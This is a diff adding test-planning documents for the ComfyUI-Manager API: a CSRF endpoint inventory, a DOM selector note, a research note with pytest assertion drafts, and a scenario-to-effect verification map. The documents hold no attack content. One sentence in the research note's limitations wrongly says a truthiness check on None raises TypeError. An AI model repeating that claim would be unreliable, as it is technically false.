| 9 | `/v2/snapshot/restore` | GET | POST | middle+ | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/snapshot/restore]` |
| 10 | `/v2/manager/reboot` | GET | POST | middle | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/reboot]` |
| 11 | `/v2/comfyui_manager/comfyui_switch_version` | GET | POST | high+ | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/comfyui_manager/comfyui_switch_version]` |
| 12 | `/v2/manager/db_mode` | GET (dual) | POST (write); GET preserved for read | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/db_mode]` |
| 13 | `/v2/manager/policy/update` | GET (dual) | POST (write); GET preserved for read | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/policy/update]` |
| 14 | `/v2/manager/channel_url_list` | GET (dual) | POST (write); GET preserved for read | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/channel_url_list]` |
| 15 | `/v2/customnode/import_fail_info` | POST | POST (pre-existing) | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/customnode/import_fail_info]` |
| 16 | `/v2/customnode/import_fail_info_bulk` | POST | POST (pre-existing) | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/customnode/import_fail_info_bulk]` |
**Conversion Breakdown** (reconciles commit 99caef55 body with 16-row fixture):
- **Pure GET → POST conversions**: 9 endpoints (rows 1-4, 7-11) — confirmed write-only operations formerly exposed via GET.
- **Dual-method endpoints** (GET + POST coexist after fix): 3 endpoints (rows 12-14) — the POST variant carries write semantics; GET preserved for read-only retrieval and is covered by Goal CSRF-M3.
- **Pre-existing POST endpoints** (included in the fixture for contract completeness): 4 endpoints (rows 5-6, 15-16) — these were already POST before 99caef55 but remain part of the CSRF rejection contract so any future regression to GET is caught.
**Scope Note**: This inventory narrowly documents the method-restriction layer. Complementary CSRF defenses (Origin/Referer validation, same-site cookies, anti-CSRF tokens, cross-site form POST rejection) are out of scope for this contract and tracked in `verification_design.md` § 10.2.
---
*End of Report A*
@@ -0,0 +1,104 @@
# Legacy UI — Channel Combo DOM Mapping Note
**Date**: 2026-04-20
**Context**: WI-OO Item 3 follow-up — bloat sweep `dev:ci-022` B8 "Channel dropdown"
test was title-mismatched (filter `/Cache|Local|Channel/` matched DB combo's
option text, not the Channel combo itself). This record documents the correct
DOM locators for any future reactivation.
**Scope**: Record only. No test code added; no audit impact.
---
## 1. Source Locations
| Artifact | Path | Lines | Role |
|----------|------|-------|------|
| Channel combo creation + registration | `comfyui_manager/js/comfyui-manager.js` | 960-986 | Creates the `<select>`, installs title attr, fetches options from API, mounts into the settings panel via `createSettingsCombo` |
| Settings row wrapper | `comfyui_manager/js/comfyui-gui-builder.js` | 15-27 | Exports `createSettingsCombo(label, content)` that wraps the combo in the label/input row |
## 2. DOM Structure
| Field | Value |
|-------|-------|
| Tag | `<select>` |
| Classes | `cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled` |
| `title` attribute | `"Configure the channel for retrieving data from the Custom Node list (including missing nodes) or the Model list."` (set at L961) |
| Options source | `/v2/manager/channel_url_list` — populated asynchronously at L963-984 |
| Option texts | Channel URL names (e.g. `default`, `recent`, custom URLs); NOT the word "Channel" |
| Label wrapper | `div.setting-item > div.flex.flex-row.items-center.gap-2 > div.form-label.flex.grow.items-center > span.text-muted` with `textContent: "Channel"` (from `createSettingsCombo`) |
| Render timing | Select element itself: **sync** at menu build time. Options: **async** after `channel_url_list` fetch resolves |
## 3. Why the Original `hasText: /Cache|Local|Channel/` Filter Failed
The removed test used `hasText` to find the Channel dropdown, but that matcher
searches the element's rendered text (its `<option>` children's text in the case
of a `<select>`). The Channel combo's options are channel URL names — they do
not contain the words `Cache`, `Local`, or `Channel`.
In contrast, the DB (datasrc) combo located a few lines above
(comfyui-manager.js:957, built from `this.datasrc_combo` which seeds options
`Cache` / `Local` / `Remote`) did contain those literals, so the filter
silently resolved to the wrong `<select>`. The test asserted visibility, which
passed against the DB combo, masking the mismatch until WI-OO's audit exposed
it as B8 title-mismatch bloat.
## 4. Stable Selector Candidates
Ordered by robustness (most stable first):
1. **Title attribute (recommended)** — unique per L961
```ts
select[title^="Configure the channel"]
```
The leading prefix `Configure the channel` appears nowhere else in the
managed panel. Safe against minor title copy edits as long as the opening
phrase is preserved.
2. **Label-based scope** — DOM-structure dependent
```ts
.setting-item:has(span.text-muted:text-is("Channel")) select
```
Works as long as `createSettingsCombo` keeps its current wrapper shape and
the exact label text `"Channel"`.
3. **Class-only** — NOT unique
Classes `cm-menu-combo p-select ...` are shared with the DB, Update-Policy,
and Share combos. Using classes alone will match multiple elements and is
brittle.
## 5. Async-Population Note
Options for the Channel combo are populated via an async `fetchApi` call to
`/v2/manager/channel_url_list` at L963. Two testing consequences:
- A visibility assertion on the `<select>` resolves immediately — the element
is appended synchronously at L960 and mounted at L986.
- An assertion about option count or specific option values MUST wait for the
fetch to resolve. Use `expect.poll` (or equivalent) with a reasonable
timeout (≥5s) rather than an immediate `toHaveCount` check.
## 6. Proposed Test Skeleton (Reference Only)
Not added to any spec — kept here for future activation.
```ts
test('shows Channel dropdown (async-populated)', async ({ page }) => {
await openManagerMenu(page);
const dialog = page.locator('#cm-manager-dialog').first();
const channelCombo = dialog.locator('select[title^="Configure the channel"]');
await expect(channelCombo).toBeVisible();
await expect.poll(
async () => await channelCombo.locator('option').count(),
{ timeout: 5000 }
).toBeGreaterThan(0);
});
```
## 7. Decision
Test **not** added. This aligns with the post-bloat-sweep net-removal
direction established by WI-OO: re-introducing a Channel-dropdown visibility
test would re-expand the surface the sweep explicitly trimmed. The record is
preserved here so that, if future coverage expansion prioritizes the settings
panel, reactivation needs only copy the skeleton above and choose selector
option 1 from §4.
+215
View File
@@ -0,0 +1,215 @@
# Research: Cluster G Semantics — imported_mode + boolean CLI flag
**Scope**: Wave3 Cluster G pre-research for dev assertion design.
**Researcher**: gteam-teng (Explore, read-only)
**Date**: 2026-04-19
**Targets**: 2 | **Status**: both resolved
---
## Target 1 — `/v2/customnode/installed?mode=imported` Semantics
### (i) Current source behavior — FROZEN AT STARTUP confirmed
**Source: `comfyui_manager/glob/manager_server.py`**
```python
# L1510 — module-level evaluation at import time
startup_time_installed_node_packs = core.get_installed_node_packs()
# L1513-1522
@routes.get("/v2/customnode/installed")
async def installed_list(request):
mode = request.query.get("mode", "default")
if mode == "imported":
res = startup_time_installed_node_packs # frozen
else:
res = core.get_installed_node_packs() # live
```
**Source: `comfyui_manager/glob/manager_core.py:1599-1632`** — `get_installed_node_packs()` scans filesystem via `os.listdir()` on every call (LIVE).
**Design intent**: "imported" mode returns the snapshot captured exactly once, at module import time (when `from .glob import manager_server` runs during ComfyUI startup). Default mode re-scans the filesystem. The divergence surfaces after a runtime install — default grows, imported does not. Used by `TaskQueue` (`manager_server.py:211`) to know what was loaded vs what is now on disk.
### (ii) Test-env expected value
At startup, before any install action, `imported == default` in content (same filesystem state, same scan logic). The seed pack `ComfyUI_SigmoidOffsetScheduler` MUST be present in both.
Schema per entry: `{cnr_id: str, ver: str, aux_id: Optional[str], enabled: bool}` — see `manager_core.py:1614` & `:1630`.
### (iii) Wave3 assertion code snippet (Cluster G)
**Strategy A — schema + seed check (cheap, deterministic, no install needed):**
```python
def test_installed_imported_mode(self, comfyui):
"""GET ?mode=imported returns startup snapshot with documented schema.
Frozen-at-startup invariant: at test time (no installs have occurred
since server start), the imported snapshot must match the live listing
in cardinality + key set, and each entry must carry the documented
InstalledPack schema.
"""
# Frozen snapshot
resp_imp = requests.get(
f"{BASE_URL}/v2/customnode/installed",
params={"mode": "imported"}, timeout=10,
)
assert resp_imp.status_code == 200
imported = resp_imp.json()
assert isinstance(imported, dict), f"expected dict, got {type(imported).__name__}"
# E2E seed pack must be in the startup snapshot
seed = "ComfyUI_SigmoidOffsetScheduler"
assert seed in imported, (
f"seed pack {seed!r} missing from imported snapshot: keys={list(imported)}"
)
# Schema: same as default mode
entry = imported[seed]
for required in ("cnr_id", "ver", "enabled"):
assert required in entry, f"{seed} missing {required!r}: {entry!r}"
# Frozen invariant (cheap form): imported at startup == default at startup
# (no install has occurred, so they must agree on keys + core fields)
resp_def = requests.get(f"{BASE_URL}/v2/customnode/installed", timeout=10)
default = resp_def.json()
assert set(imported.keys()) == set(default.keys()), (
f"imported != default at startup: "
f"only-imported={set(imported)-set(default)}, "
f"only-default={set(default)-set(imported)}"
)
```
**Strategy B — true frozen invariant (expensive, OPTIONAL, skip by default):**
```python
@pytest.mark.skip(reason=
"Requires post-startup install; E2E runtime install is slow and gated by "
"security_level. Enable via PYTEST_FULL_IMPORTED_MODE=1 for nightly runs.")
def test_imported_mode_is_frozen_after_install(self, comfyui):
"""After installing a new pack, imported mode MUST still match startup.
This is the true 'frozen' test — install a pack, then verify default mode
sees it while imported mode does not (it was snapshotted before install).
"""
snap_before = requests.get(
f"{BASE_URL}/v2/customnode/installed", params={"mode": "imported"}, timeout=10,
).json()
# ... trigger install of a fresh pack via /v2/customnode/install or FS manipulation ...
snap_after = requests.get(
f"{BASE_URL}/v2/customnode/installed", params={"mode": "imported"}, timeout=10,
).json()
assert snap_before == snap_after, "imported snapshot mutated — frozen invariant broken"
live_after = requests.get(f"{BASE_URL}/v2/customnode/installed", timeout=10).json()
assert set(live_after) - set(snap_after), "default mode did not reflect the new install"
```
### (iv) Recommendation
- Adopt **Strategy A** as the WEAK-upgrade replacement — cheap, deterministic, ADEQUATE (positive path + field-level + cross-mode consistency).
- Register **Strategy B** as `[E2E-DEBT]` in the scaffold; keep `@pytest.mark.skip` unless a nightly pipeline enables it.
- Limitation to document: Strategy A cannot distinguish "frozen" from "live-and-coincidentally-equal" without a mid-session install — that's what Strategy B covers.
---
## Target 2 — `/v2/manager/is_legacy_manager_ui` boolean field (NOT /v2/manager/version)
**CORRECTION**: Dispatch text suggested `/v2/manager/version` as an example, but `test_returns_boolean_field` is defined inside `class TestIsLegacyManagerUI` (`tests/e2e/test_e2e_system_info.py:151-166`) and actually hits `/v2/manager/is_legacy_manager_ui`. `test_e2e_system_info.py::TestManagerVersion::test_version_returns_string` handles `/v2/manager/version` separately (returns `text/plain`, not JSON bool).
### (i) Current source behavior
**Source: `comfyui_manager/glob/manager_server.py:1500-1506`**
```python
@routes.get("/v2/manager/is_legacy_manager_ui")
async def is_legacy_manager_ui(request):
return web.json_response(
{"is_legacy_manager_ui": args.enable_manager_legacy_ui},
content_type="application/json",
status=200,
)
```
**`args`** is imported from `comfy.cli_args` (upstream ComfyUI argparse — `comfyui_manager/__init__.py:6`). The flag `--enable-manager-legacy-ui` is registered by ComfyUI's own cli_args module (not in this repo). `action='store_true'` means default is `False` (bool), not `None`.
**Same handler exists in legacy server** at `comfyui_manager/legacy/manager_server.py:995-1001` — identical body.
**Also read in glob at `__init__.py:19`** to gate `from .legacy import manager_server` import. This confirms the value is bool at module load time (used as an `if`).
### (ii) Test-env expected value — DETERMINISTIC
**Source: `tests/e2e/scripts/start_comfyui.sh:73-79`** (launch command):
```bash
nohup "$PY" "$COMFY_DIR/main.py" \
--cpu \
--enable-manager \
--port "$PORT" \
> "$LOG_FILE" 2>&1 &
```
The E2E launcher passes NO `--enable-manager-legacy-ui` flag. Therefore in every E2E run: `args.enable_manager_legacy_ui = False`.
No `tests/e2e/**` file references the flag (grep confirmed: 0 matches).
### (iii) Wave3 assertion code snippet
**Strengthen from `isinstance(bool)` → exact-value `is False`:**
```python
def test_returns_boolean_field(self, comfyui):
"""GET /v2/manager/is_legacy_manager_ui returns {is_legacy_manager_ui: False} in E2E.
E2E env deterministically omits --enable-manager-legacy-ui
(start_comfyui.sh passes only --cpu --enable-manager --port),
so args.enable_manager_legacy_ui defaults to False (store_true default).
Strengthened from type-only check to exact-value check.
"""
resp = requests.get(
f"{BASE_URL}/v2/manager/is_legacy_manager_ui", timeout=10,
)
assert resp.status_code == 200, f"Expected 200, got {resp.status_code}"
data = resp.json()
assert "is_legacy_manager_ui" in data, (
f"Response missing 'is_legacy_manager_ui' field: {data}"
)
assert data["is_legacy_manager_ui"] is False, (
f"E2E env omits --enable-manager-legacy-ui; expected False, "
f"got {data['is_legacy_manager_ui']!r}. If E2E launcher changed, update assertion."
)
```
**Optional companion test (true-path coverage, currently out of scope):** A parametrized variant that restarts ComfyUI with `--enable-manager-legacy-ui` and asserts `is True`. Not recommended for Cluster G — server restart doubles suite runtime and the legacy path is already exercised by playwright `legacy-ui-*.spec.ts` tests.
### (iv) Recommendation
- Upgrade `isinstance(bool)` → `is False` as above. ADEQUATE (positive-path + field + exact value).
- Document the launcher dependency in a comment (already in the snippet).
- If the E2E launcher ever passes `--enable-manager-legacy-ui`, the assertion fails loudly with a clear message — correct behavior.
---
## Summary Table
| Target | Current test | Upgrade path | Complexity | E2E-debt? |
|---|---|---|---|---|
| T1 imported_mode (`test_installed_imported_mode`) | dict-type only (WEAK) | Schema + seed + cross-mode keyset equality (ADEQUATE) | LOW | Yes — frozen-after-install invariant skipped (Strategy B) |
| T2 boolean flag (`test_returns_boolean_field`) | `isinstance(bool)` (WEAK) | `is False` with launcher-deterministic comment (ADEQUATE) | LOW | No |
## Constraints / Limitations
- Research performed as Explore agent (read-only). No tests executed, no code modified.
- `comfy.cli_args` is upstream (ComfyUI), not in manager repo — flag default verified via usage pattern (store_true action) and the `if args.enable_manager_legacy_ui:` truthiness check at `__init__.py:19`, which would crash with `TypeError` on `None` truthiness on integer comparisons but works on falsy-default bool.
- Target 2 CORRECTION: dispatch referenced `/v2/manager/version` but the target test actually hits `/v2/manager/is_legacy_manager_ui` — verified via source inspection of test class.
## Grep/Read evidence index
| # | Command | Finding |
|---|---|---|
| 1 | `Grep pattern=/customnode/installed path=glob/manager_server.py` | L1510 snapshot init, L1513-1520 handler |
| 2 | `Read tests/e2e/test_e2e_customnode_info.py` | L224-237 current WEAK test |
| 3 | `Grep pattern=is_legacy_manager_ui path=comfyui_manager` | L1500-1506 glob handler, L995-1001 legacy handler |
| 4 | `Grep pattern=enable-manager-legacy-ui path=tests/e2e` | 0 matches — flag not passed in E2E |
| 5 | `Read tests/e2e/scripts/start_comfyui.sh` | L73-79 launch command (no legacy flag) |
| 6 | `Read comfyui_manager/__init__.py` | L19 uses flag as truthy gate |
| 7 | `Read glob/manager_core.py:1599-1632` | `get_installed_node_packs()` live filesystem scan |
+514
View File
@@ -0,0 +1,514 @@
# Scenario × Functional Effect Mapping
**Generated**: 2026-04-18
**Definition of "effect"**: The actual **functional purpose** of the feature — not just any side effect. A scenario is verified only when the intended outcome is observably achieved.
| Pattern | Effect definition |
|---|---|
| Success scenario | The feature's PURPOSE is fulfilled and observable |
| Validation/security error | The purpose is NOT fulfilled + correct rejection signal |
| State edge case | The purpose is correctly short-circuited or no-op |
Unless specified, status code alone is NOT sufficient evidence of effect.
---
# Section 1 — Glob v2 Endpoints
## 1.1 Queue Management (Install/Uninstall/Update/Fix/Disable/Enable/Model)
### POST /v2/manager/queue/task (kind=install)
Purpose: **install a custom node pack so it becomes loadable by ComfyUI**.
| Scenario | Functional effect to verify |
|---|---|
| Success (CNR pack) | (a) pack directory exists under `custom_nodes/`, (b) `.tracking` file present (CNR marker), (c) pack appears in GET `customnode/installed` with correct cnr_id + version, (d) worker `task_worker_lock` released after completion |
| Success (nightly/URL) | (a) pack directory exists, (b) `.git` subdir present (git clone), (c) repo remote matches requested URL, (d) appears in installed list |
| Success (skip_post_install + already disabled) | Pack moved from `.disabled/` back to active (enable shortcut), NOT a fresh install |
| Validation error (bad `kind` value) | Task NOT queued (queue/status unchanged), queue/history does not contain this ui_id, pack NOT installed |
| Validation error (missing ui_id/client_id) | Same: no queued task, no installation side-effect |
| Worker auto-start | After task queued, `queue/status.is_processing=true` and eventually `done_count` increments |
### POST /v2/manager/queue/task (kind=uninstall)
Purpose: **remove an installed pack so it is no longer loaded**.
| Scenario | Effect to verify |
|---|---|
| Success | Pack directory no longer exists under `custom_nodes/`, pack absent from `customnode/installed`, no import error on next ComfyUI reload |
| Target not installed | No-op or error — purpose already satisfied; no state change |
| Unknown pack | No filesystem change |
### POST /v2/manager/queue/task (kind=update)
Purpose: **update an installed pack to a newer version**.
| Scenario | Effect to verify |
|---|---|
| Success | (a) pack directory still exists, (b) version actually changed (check `.tracking` content or pyproject version), (c) dependencies refreshed, (d) still loadable by ComfyUI |
| Already up-to-date | No-op or confirmatory response; no downgrade |
| Unknown pack / Update fails | No partial state (pack not removed nor corrupted) |
### POST /v2/manager/queue/task (kind=fix)
Purpose: **re-install dependencies of an existing pack without changing source**.
| Scenario | Effect to verify |
|---|---|
| Success | (a) pack directory unchanged (same HEAD/version), (b) dependencies present in venv after fix, (c) pack import succeeds on reload |
| Missing dependencies pre-fix | After fix, imports succeed |
### POST /v2/manager/queue/task (kind=disable)
Purpose: **stop loading a pack without removing it, reversibly**.
| Scenario | Effect to verify |
|---|---|
| Success | (a) pack moved from `custom_nodes/<name>/` to `custom_nodes/.disabled/<name>/`, (b) on next ComfyUI reload, pack nodes NOT registered, (c) pack absent from `customnode/installed` (active) |
| Already disabled | No-op; still in `.disabled/` |
### POST /v2/manager/queue/task (kind=enable)
Purpose: **restore a disabled pack to active, loadable state**.
| Scenario | Effect to verify |
|---|---|
| Success | (a) pack restored from `.disabled/` to active `custom_nodes/` (may be case-normalized CNR name), (b) on reload, nodes registered again, (c) appears in `customnode/installed` |
| Not disabled (already active) | No-op; no regression |
### POST /v2/manager/queue/install_model
Purpose: **download a model file to the appropriate models/ subdirectory**.
| Scenario | Effect to verify |
|---|---|
| Success | (a) task queued (queue/status reflects), (b) eventually file downloaded to `models/<type>/<filename>`, (c) file size > 0, (d) visible via `externalmodel/getlist` with `installed=True` (legacy) |
| Missing client_id/ui_id | Task NOT queued; no download attempted |
| Invalid metadata | Task NOT queued |
| Not in whitelist (legacy check) | Download rejected; no file written |
| Non-safetensors + security<high+ | Rejected; no file written |
### POST /v2/manager/queue/update_all
Purpose: **queue update tasks for ALL currently active packs**.
| Scenario | Effect to verify |
|---|---|
| Success | queue/status.pending_count == N where N = (active_nodes + unknown_active_nodes - manager-skip). Each queued task has correct `kind=update` + correct `node_name` |
| Security denied (<middle+) | 403; NO tasks queued; queue/status unchanged |
| Missing params | 400; NO tasks queued |
| mode=local | No remote fetch; uses local channel data |
| Desktop build | `comfyui-manager` pack NOT in queued tasks |
### POST /v2/manager/queue/update_comfyui
Purpose: **queue a self-update task for ComfyUI core**.
| Scenario | Effect to verify |
|---|---|
| Success | (a) queue/status.total_count increased by 1, (b) the queued task has `kind=update-comfyui` with `params.is_stable` matching request/config |
| Missing params | 400; no task queued |
| stable=true overrides config | Task params.is_stable==True regardless of config policy |
### POST /v2/manager/queue/reset
Purpose: **clear all queued/running/history tasks**.
| Scenario | Effect to verify |
|---|---|
| Success | queue/status: total_count=0, done_count=0, pending_count=0, in_progress_count=0, is_processing=false |
| Already empty | Same; idempotent |
### POST /v2/manager/queue/start
Purpose: **start the worker thread to process queued tasks**.
| Scenario | Effect to verify |
|---|---|
| Worker not running | queue/status.is_processing becomes true (may be momentary if queue empty); tasks transition pending → running → done |
| Already running | 201; is_processing remains true; no duplicate worker spawned |
| Empty queue | Worker starts and idles; no errors |
### GET /v2/manager/queue/status
Purpose: **accurately reflect the current queue state**.
| Scenario | Effect to verify |
|---|---|
| No filter | Counts match actual internal queue state (cross-check via known queued tasks) |
| With client_id filter | client_id echo + filtered counts correspond to only that client's tasks |
| Fields shape | total/done/in_progress/pending/is_processing all present + correct types |
### GET /v2/manager/queue/history
Purpose: **retrieve completed task records for introspection**.
| Scenario | Effect to verify |
|---|---|
| id=<batch_id> query | Returns JSON content of that batch file (not another's) |
| Path traversal | file read DOES NOT occur; returns 400 |
| ui_id filter | Returns the matching single task record |
| client_id filter | Returns only that client's history |
| Pagination | Result size ≤ max_items |
| Serialization limitation | If 400 returned, server didn't crash; no corrupted state |
### GET /v2/manager/queue/history_list
Purpose: **list available batch history file IDs**.
| Scenario | Effect to verify |
|---|---|
| Success | Returned `ids` ⊆ files in `manager_batch_history_path` (mtime-desc sorted) |
| Empty | ids=[] reflects empty dir |
## 1.2 Custom Node Info
### GET /v2/customnode/getmappings
Purpose: **provide node→pack mapping for the UI to resolve missing nodes**.
| Scenario | Effect to verify |
|---|---|
| Success mode=local/cache/remote | Returned dict: values are `[node_list, metadata]`, all currently-loaded `NODE_CLASS_MAPPINGS` either present in a node_list OR matched by `nodename_pattern` regex |
| mode=nickname | Nicknames filter applied (each entry has nickname field) |
| Missing mode query | 500/KeyError; no partial data returned |
### GET /v2/customnode/fetch_updates (deprecated)
Purpose: **(deprecated) was previously used to fetch git updates**.
| Scenario | Effect to verify |
|---|---|
| Always | 410 + `{deprecated: true}`. No git fetch performed (no disk I/O on .git dirs) |
### GET /v2/customnode/installed
Purpose: **list currently-installed packs with metadata for the UI**.
| Scenario | Effect to verify |
|---|---|
| mode=default | Dict reflects real filesystem scan of `custom_nodes/`: every dir with proper marker appears |
| mode=imported | Returns snapshot frozen at startup (unchanged after runtime installs) — proves stability |
| Newly installed pack | After install, default mode reflects it; imported mode does NOT |
### POST /v2/customnode/import_fail_info
Purpose: **return detailed traceback/message for a pack that failed to import at startup**.
| Scenario | Effect to verify |
|---|---|
| Known failed pack via cnr_id | 200 + body has `msg` + `traceback` matching `cm_global.error_dict[module]` |
| Known failed via url | Same |
| Unknown pack | 400 (no info); `error_dict` NOT mutated |
| Missing fields / non-dict | 400 with appropriate text |
### POST /v2/customnode/import_fail_info_bulk
Purpose: **same as above but for multiple packs in one call**.
| Scenario | Effect to verify |
|---|---|
| cnr_ids list | Each key maps to either {error, traceback} (if failed) or null (if no failure). Unknown cnr_ids → null |
| urls list | Same semantics |
| Empty lists | 400 |
| Mixed types inside list | 400 or skip with per-item error |
## 1.3 Snapshots
### GET /v2/snapshot/get_current
Purpose: **capture and return the current system state (not persist it)**.
| Scenario | Effect to verify |
|---|---|
| Success | Returned dict contains `comfyui` (hash/tag), `git_custom_nodes` (list), `cnr_custom_nodes` (list), `pips`. Consistent with actual installed state |
### POST /v2/snapshot/save
Purpose: **persist current system state so it can be restored later**.
| Scenario | Effect to verify |
|---|---|
| Success | (a) new file created in `manager_snapshot_path` with timestamped name, (b) file content == get_current() at save time, (c) appears in `snapshot/getlist.items` |
### GET /v2/snapshot/getlist
Purpose: **list saved snapshots for UI selection**.
| Scenario | Effect to verify |
|---|---|
| Success | items list matches .json files in snapshot dir (without extension), sorted desc |
| After save | New snapshot name appears at top |
| After remove | Removed name absent |
### POST /v2/snapshot/remove
Purpose: **delete a saved snapshot permanently**.
| Scenario | Effect to verify |
|---|---|
| Success | File removed from disk; absent from getlist |
| Nonexistent target | No change; 200 (no-op) |
| Path traversal | File NOT removed; 400; any other files untouched |
| Security denied | File NOT removed; 403 |
### POST /v2/snapshot/restore
Purpose: **schedule a snapshot to be applied on next server restart** (the actual restore happens at startup).
| Scenario | Effect to verify |
|---|---|
| Success | `restore-snapshot.json` copied to `manager_startup_script_path`. Next reboot → actual state reverts to snapshot (verifiable by reboot + get_current comparison) |
| Nonexistent target | No marker file created; 400 |
| Path traversal | No file operations; 400 |
| Security denied | No marker file; 403 |
## 1.4 Configuration
### GET /v2/manager/db_mode
Purpose: **return current DB source mode config**.
| Scenario | Effect to verify |
|---|---|
| Success | Returned text == `core.get_config()["db_mode"]` value in `config.ini` |
### POST /v2/manager/db_mode
Purpose: **persist new DB mode to config.ini**.
| Scenario | Effect to verify |
|---|---|
| Valid value | (a) config.ini written to disk with new value, (b) GET returns new value, (c) survives process restart |
| Malformed JSON / missing value | 400; config.ini UNCHANGED |
### GET/POST /v2/manager/policy/update
Purpose: **read/persist update policy (stable vs nightly)**.
Same verification pattern as db_mode but for `update_policy` key.
### GET /v2/manager/channel_url_list
Purpose: **return available channels + currently selected**.
| Scenario | Effect to verify |
|---|---|
| Success | `selected` matches channel whose URL == config.channel_url (else "custom"); `list` is all known channels as "name::url" |
### POST /v2/manager/channel_url_list
Purpose: **switch active channel by name**.
| Scenario | Effect to verify |
|---|---|
| Known name | config.channel_url written with new URL; GET.selected matches new name |
| Unknown name | Silent no-op; 200; channel_url UNCHANGED (verify) |
| Malformed | 400; channel_url UNCHANGED |
## 1.5 System
### GET /v2/manager/is_legacy_manager_ui
Purpose: **let UI know which Manager UI (legacy vs current) to load**.
| Scenario | Effect to verify |
|---|---|
| Success | `is_legacy_manager_ui` matches the CLI flag `--enable-manager-legacy-ui` that was passed |
### GET /v2/manager/version
Purpose: **report the Manager package version**.
| Scenario | Effect to verify |
|---|---|
| Success | Text == core.version_str (non-empty, semver-ish) |
| Idempotent | Consecutive calls return identical value |
### POST /v2/manager/reboot
Purpose: **restart the server process**.
| Scenario | Effect to verify |
|---|---|
| Success | (a) server process actually exits, (b) new process binds same port, (c) new process serves requests, (d) pre-reboot state preserved (version, config) |
| CLI session mode | `.reboot` marker file created before exit(0); process-manager restarts |
| Security denied | 403; process continues (no restart) |
### GET /v2/comfyui_manager/comfyui_versions
Purpose: **enumerate available ComfyUI versions + current**.
| Scenario | Effect to verify |
|---|---|
| Success | `current` is a git tag/hash present in `.git` log; `versions` array non-empty; current ∈ versions |
| Git failure | 400; no partial response |
### POST /v2/comfyui_manager/comfyui_switch_version
Purpose: **queue a task to switch ComfyUI to a target version (actual switch happens via worker)**.
| Scenario | Effect to verify |
|---|---|
| Success | (a) task queued with `params.target_version=<ver>`, (b) queue/status reflects, (c) eventually `.git` HEAD points at target commit/tag after worker runs |
| Missing params | 400; no task queued |
| Security denied (<high+) | 403; no task queued |
---
# Section 2 — Legacy-only Endpoints (UI → effect)
For these, the functional purpose is triggered by UI interaction. The effect MUST be observable both through the UI (state transitions, renders) AND/OR through the backend (filesystem, queue state).
### POST /v2/manager/queue/batch (legacy)
Purpose: **accept one aggregated request to enqueue multiple operations, then start the worker**.
| Scenario | Effect to verify |
|---|---|
| install item(s) | Each pack installed (filesystem effect); `failed` list only contains actually-failed ids |
| uninstall item(s) | Each pack removed |
| update item(s) | Packs updated (version change verifiable) |
| reinstall item(s) | Pack removed then re-installed (dir exists, .tracking present) |
| disable | Pack in `.disabled/` |
| install_model | Model file downloaded |
| fix | Dependencies re-resolved |
| update_comfyui | ComfyUI update task queued |
| update_all | All active pack updates queued |
| Mixed kinds | Each kind's effect achieved; `failed` contains only real failures |
### GET /v2/customnode/getlist (legacy)
Purpose: **feed the Custom Nodes Manager dialog with the list of available + installed packs**.
| Scenario | Effect to verify |
|---|---|
| Success | Response has `channel` + `node_packs`; each pack includes install state (installed/disabled), stars (github-stats), update availability (if skip_update=false) |
| skip_update=true | No git fetch performed (check timing / no remote calls) |
| Channel resolution | Maps URL back to name (default/custom/etc.) |
### GET /customnode/alternatives (legacy)
Purpose: **show alternative pack recommendations for a given pack**.
| Scenario | Effect to verify |
|---|---|
| Success | Response dict keyed by unified pack id; values from `alter-list.json` with markdown processed |
### GET /v2/externalmodel/getlist (legacy)
Purpose: **list available external models with install state for Model Manager dialog**.
| Scenario | Effect to verify |
|---|---|
| Success | Each model entry has `installed` ∈ {'True','False'}; True ⟺ file actually exists under appropriate models subdir |
| HuggingFace sentinel | Filename resolved from URL basename; installed flag correct |
| Custom save_path | Path resolved correctly |
### GET /v2/customnode/versions/{node_name} (legacy)
Purpose: **list all versions of a CNR pack for the user to pick**.
| Scenario | Effect to verify |
|---|---|
| Known CNR pack | Response array lists all available versions (latest first, typically) matches CNR registry |
| Unknown pack | 400; no partial data |
### GET /v2/customnode/disabled_versions/{node_name} (legacy)
Purpose: **list versions of a pack currently in the disabled state for possible re-enable**.
| Scenario | Effect to verify |
|---|---|
| Has disabled versions | Response array matches actual `cnr_inactive_nodes[node]` keys + "nightly" if in `nightly_inactive_nodes` |
| None disabled | 400 |
### POST /v2/customnode/install/git_url (legacy)
Purpose: **clone a pack from arbitrary git URL (dangerous; requires high+)**.
| Scenario | Effect to verify |
|---|---|
| Success | Repo cloned into `custom_nodes/`, `.git` dir present, repo remote matches URL |
| Already installed | 200 skip; no duplicate; no overwrite |
| Clone failure | 400; no partial dir left behind |
| Security denied (<high+) | 403; no filesystem change |
### POST /v2/customnode/install/pip (legacy)
Purpose: **run `pip install <packages>` in the venv**.
| Scenario | Effect to verify |
|---|---|
| Success | Packages are importable from the venv Python afterwards (or `pip list` shows them) |
| Security denied (<high+) | 403; no pip invocation |
### GET /v2/manager/notice (legacy)
Purpose: **fetch the News wiki content and augment with version footer**.
| Scenario | Effect to verify |
|---|---|
| GitHub reachable | HTML returned; contains markdown-body content + ComfyUI/Manager version footer appended |
| GitHub unreachable | "Unable to retrieve Notice"; no crash |
| Non-git ComfyUI | Response starts with "Your ComfyUI isn't git repo" warning |
| Outdated ComfyUI | Response starts with "too OUTDATED!!!" warning |
| Desktop variant | Footer uses `__COMFYUI_DESKTOP_VERSION__` instead of commit hash |
---
# Section 3 — UI→effect Mapping (Legacy)
For Playwright tests, the "UI→effect" contract requires:
| UI action | Target endpoint | Effect to verify |
|---|---|---|
| Click Manager menu button | (none — UI only) | `#cm-manager-dialog` visible |
| Click "Custom Nodes Manager" menu item | GET customnode/getlist + getmappings | `#cn-manager-dialog` + grid populated (rows > 0) |
| Click "Model Manager" menu item | GET externalmodel/getlist | `#cmm-manager-dialog` + grid populated |
| Click "Snapshot Manager" menu item | GET snapshot/getlist | `#snapshot-manager-dialog` + list populated |
| Click "Install" on a pack row | GET customnode/versions/{id} → POST queue/batch (install) → WebSocket cm-queue-status | Pack dir exists on disk + row shows "Installed" state in UI + WebSocket `all-done` received |
| Click "Uninstall" on installed row | POST queue/batch (uninstall) | Pack dir removed + row state updates to "Not Installed" |
